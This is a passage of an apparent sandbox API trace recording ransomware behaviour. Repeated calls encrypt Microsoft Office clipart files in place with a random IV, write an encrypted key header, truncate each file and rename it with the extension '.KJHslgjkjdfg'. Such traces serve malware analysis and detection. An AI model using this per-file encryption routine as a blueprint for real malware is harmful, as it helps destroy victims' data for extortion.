lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0187.067] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.067] SetEndOfFile (hFile=0x114) returned 1 [0187.069] GetProcessHeap () returned 0x2a0000 [0187.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.069] GetProcessHeap () returned 0x2a0000 [0187.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.kjhslgjkjdfg")) returned 1 [0187.071] CloseHandle (hObject=0x114) returned 1 [0187.071] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0187.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.072] GetProcessHeap () returned 0x2a0000 [0187.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.072] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.072] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.072] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.072] GetProcessHeap () returned 0x2a0000 [0187.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.072] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.072] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.072] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.074] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.074] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.074] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3380, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3380, lpOverlapped=0x0) returned 1 [0187.075] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3380, dwBufLen=0x3380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3380) returned 1 [0187.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.075] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3380, lpOverlapped=0x0) returned 1 [0187.075] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.076] SetEndOfFile (hFile=0x114) returned 1 [0187.078] GetProcessHeap () returned 0x2a0000 [0187.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.078] GetProcessHeap () returned 0x2a0000 [0187.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.kjhslgjkjdfg")) returned 1 [0187.080] CloseHandle (hObject=0x114) returned 1 [0187.080] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0187.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.081] GetProcessHeap () returned 0x2a0000 [0187.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.082] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0187.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.084] GetProcessHeap () returned 0x2a0000 [0187.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.084] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.085] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x692, lpOverlapped=0x0) returned 1 [0187.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0) returned 1 [0187.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.085] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6a0, lpOverlapped=0x0) returned 1 [0187.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.085] SetEndOfFile (hFile=0x114) returned 1 [0187.088] GetProcessHeap () returned 0x2a0000 [0187.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.088] GetProcessHeap () returned 0x2a0000 [0187.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.kjhslgjkjdfg")) returned 1 [0187.090] CloseHandle (hObject=0x114) returned 1 [0187.090] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0187.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.091] GetProcessHeap () returned 0x2a0000 [0187.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.091] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.096] GetProcessHeap () returned 0x2a0000 [0187.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x282c, lpOverlapped=0x0) returned 1 [0187.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2830, dwBufLen=0x2830 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2830) returned 1 [0187.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.097] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2830, lpOverlapped=0x0) returned 1 [0187.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.098] SetEndOfFile (hFile=0x114) returned 1 [0187.100] GetProcessHeap () returned 0x2a0000 [0187.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.100] GetProcessHeap () returned 0x2a0000 [0187.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.kjhslgjkjdfg")) returned 1 [0187.101] CloseHandle (hObject=0x114) returned 1 [0187.101] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0187.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.102] GetProcessHeap () returned 0x2a0000 [0187.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.102] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.103] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.104] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.104] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.104] GetProcessHeap () returned 0x2a0000 [0187.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.104] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.104] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.105] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.105] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.105] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.105] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2108, lpOverlapped=0x0) returned 1 [0187.106] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2110, dwBufLen=0x2110 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2110) returned 1 [0187.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.106] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2110, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2110, lpOverlapped=0x0) returned 1 [0187.106] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.106] SetEndOfFile (hFile=0x114) returned 1 [0187.109] GetProcessHeap () returned 0x2a0000 [0187.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.109] GetProcessHeap () returned 0x2a0000 [0187.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.kjhslgjkjdfg")) returned 1 [0187.111] CloseHandle (hObject=0x114) returned 1 [0187.111] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x2e0000, 